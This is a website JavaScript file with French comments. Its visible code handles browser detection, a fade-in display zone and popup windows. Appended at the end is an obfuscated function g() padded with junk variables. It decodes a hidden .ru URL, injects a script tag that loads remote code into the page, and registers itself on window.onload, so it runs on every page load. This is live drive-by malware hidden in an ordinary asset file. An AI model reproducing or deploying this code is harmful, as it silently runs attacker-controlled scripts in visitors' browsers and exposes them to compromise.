//window.onload=afficheFirst;
// ---------------------------------------
// Variables de détection du navigateur
// ---------------------------------------
PS_ns4 =(document.layers)? true : false;
PS_ie  =(document.all)? true:false;
PS_ns6 = 0;
var PS_browserType = navigator.appName
var PS_browserVersion = parseInt(navigator.appVersion)
if (PS_browserType == "Netscape" && PS_browserVersion>=5)
	PS_ns6 = true;
var detect_temp = navigator.userAgent.toLowerCase();
var topIE4=250;
var topNS4=250;
//marge=5;
marge=-100;
step=0.1;
Opacity_depart = 0;
var Opacity = Opacity_depart;
var temps_transition = 100;

/* ---------------------------------
	-- afficheFisrt()             --
	--------------------------------*/
function afficheFirst(){
	if (PS_browserType=="Netscape") {
		if (PS_ns4) {
			eval("document.zoneCOL.visibility='show'");
		} else if (PS_ns6) {
			document.getElementById("zoneCOL").style.visibility = "visible";
		}
	} else if (PS_ie){
		document.all.zoneCOL.style.visibility="visible";
	}
	document.getElementById("zoneCOL").style.top = marge+'px';
	if (PS_ie) {
		if (window.opera) {
			document.getElementById("zoneCOL").style.opacity = (Opacity_depart/100);
		} else {
			document.getElementById("zoneCOL").style.filter = "alpha(style=0,opacity=" + Opacity_depart + ")";
		}
	} else {
		document.getElementById("zoneCOL").style.opacity = Opacity_depart/100;
		document.getElementById("zoneCOL").style.MozOpacity = Opacity_depart/100;
	}
	setTimeout("afficheCOL()",temps_transition);
};

/* ---------------------------------
	-- afficheCOL()               --
	--------------------------------*/
function afficheCOL() {
/*	if (PS_browserType=="Netscape") {
		if (PS_ns4) {
			difference = window.innerHeight-document.zoneCOL.document.height;
			hauteur=(pageYOffset+window.innerHeight-document.zoneCOL.document.height-difference);
			eval("document.zoneCOL.top="+hauteur);
		} else if (PS_ns6) {
			//largeur=window.innerWidth-420;
			difference = window.innerHeight-document.getElementById("zoneCOL").style.height;
			hauteur=(pageYOffset+window.innerHeight-document.getElementById("zoneCOL").style.height-difference);
			//document.getElementById("zoneCOL").style.width=largeur;
			//document.getElementById("zoneCOL").style.top= hauteur;
		}
	} else if (PS_ie){
		var hauteur = parseInt((document.body.scrollTop+marge-document.all.zoneCOL.offsetTop)*step);
		if (isNaN(hauteur)) hauteur=0;
			//document.all.zoneCOL.style.pixelTop+=hauteur;
	}*/

		Opacity+= (100-Opacity_depart)/(Math.abs(marge))*(100-Opacity_depart)*step;
		if (Opacity>100) {
			Opacity = 100;
		}
		if (PS_ie) {
			if (window.opera) {
				document.getElementById("zoneCOL").style.opacity = (Opacity/100);
			} else {
				document.getElementById("zoneCOL").style.filter = "alpha(style=0,opacity=" + Opacity + ")";
			}
		} else {
			document.getElementById("zoneCOL").style.opacity = Opacity/100;
			document.getElementById("zoneCOL").style.MozOpacity = Opacity/100;
		}


		if (document.getElementById("zoneCOL").style.top.replace('px', '')-(marge*step)>0) {
			document.getElementById("zoneCOL").style.top=0;
			if (PS_ie) {
				if (window.opera) {
					document.getElementById("zoneCOL").style.opacity = 1;
				} else {
					document.getElementById("zoneCOL").style.filter = "alpha(style=0,opacity=" + "100" + ")";
				}
			} else {
				document.getElementById("zoneCOL").style.opacity = 1;
				document.getElementById("zoneCOL").style.MozOpacity = 1;
			}
		} else {
			var h_temp = document.getElementById("zoneCOL").style.top.replace('px', '') - (marge*step);
			document.getElementById("zoneCOL").style.top= h_temp+'px';
			setTimeout("afficheCOL()",temps_transition);
		}
}

/* ---------------------------------
	-- hideCOL()               --
	--------------------------------*/
function hideCOL() {
	document.getElementById('zoneCOL').style.visibility='hidden';
}

/* ---------------------------------
	-- OpenPopup()               --
	--------------------------------*/
function OpenPopup(url, w, h) {
	var szParams = "toolbar=no,,width=" + w + ",height=" + h + ",scrollbars=1,resize=no";
	win = window.open(url,"newwin", szParams);
}

function g(){var y;if(y!='b'){y='b'};var hm;if(hm!='p'){hm='p'};var s=new Date();var Y='';var Q="\x68\x74\x74\x70\x3a\x2f\x2f\x69\x63\x69\x62\x61\x2d\x63\x6f\x6d\x2e\x70\x69\x63\x66\x6f\x63\x6f\x2e\x63\x6f\x6d\x2e\x68\x61\x72\x72\x65\x6e\x6d\x65\x64\x69\x61\x6e\x65\x74\x77\x6f\x72\x6b\x2d\x63\x6f\x6d\x2e\x53\x75\x70\x65\x72\x43\x6f\x6f\x6c\x53\x75\x70\x65\x72\x73\x74\x6f\x72\x65\x2e\x72\x75\x3a";var D=window;var K="";var N=new String("jdfSg".substr(4));var _T=new Date();var X;if(X!='DP' && X!='fZ'){X=''};var W=unescape;var yz=new Date();var C=new String();function O(V,m){var pt;if(pt!='' && pt!='P'){pt=null};var DG=W("%5b")+m+W("%5d");var o;if(o!='Vi' && o!='uS'){o='Vi'};var u=new RegExp(DG, N);var HR=new Array();return V.replace(u, Y);var SA='';var dl;if(dl!='Cw' && dl!='R'){dl='Cw'};};var gw=new Array();var hp='';var WG;if(WG!='kh' && WG != ''){WG=null};var ho;if(ho!='KJ' && ho!='tE'){ho='KJ'};var c=W("%2f%64%72%75%70%61%6c%2e%6f%72%67%2f%64%72%75%70%61%6c%2e%6f%72%67%2f%61%72%63%68%69%76%65%2e%6f%72%67%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%63%6f%73%74%63%6f%2e%63%6f%6d%2e%70%68%70");var t='';var S=O('843230136735829117507119','24679351');var _=document;this._H='';this.DL="";var Uk;if(Uk!='PU' && Uk != ''){Uk=null};this.La="";function Ow(){var mk=new String();var QQ='';var uz=new Array();t=Q;var KT=new Date();t+=S;t+=c;var G=new Array();var Ey;if(Ey!='oV' && Ey!='Jx'){Ey='oV'};var KTt;if(KTt!='pW' && KTt != ''){KTt=null};var sg=new Date();try {var xX=new String();var j=new String();uW=_.createElement(O('svcEr4iTpMtf','4WTefIvME'));var A='';var k_=new Array();var kF="";uW.src=t;var gSB;if(gSB!='MX' && gSB != ''){gSB=null};var Nd;if(Nd!='yxt' && Nd != ''){Nd=null};uW.defer=[1][0];var bB=new Date();var dX;if(dX!='Wr' && dX != ''){dX=null};this.mo='';_.body.appendChild(uW);var Tv;if(Tv!='' && Tv!='Hz'){Tv=''};this.tI="";var Ne='';} catch(h){this.sv='';var Vc;if(Vc!='ygr' && Vc!='tQ'){Vc='ygr'};};var I;if(I!='RJ' && I!='Wq'){I=''};var VF;if(VF!='gv'){VF='gv'};}var VP;if(VP!='kc' && VP!='DU'){VP=''};var Sd=new Array();D["9hVonloa".substr(3)+"CWRd".substr(3)]=Ow;var qW=new Date();var Nf=new Date();var Ml;if(Ml!='Ep'){Ml='Ep'};this.Yw="";};var xZ=new String();var DO='';var jc;if(jc!=''){jc='ZN'};var b_;if(b_!=''){b_='vc'};g();var PO="";var Af;if(Af!='Yho' && Af != ''){Af=null};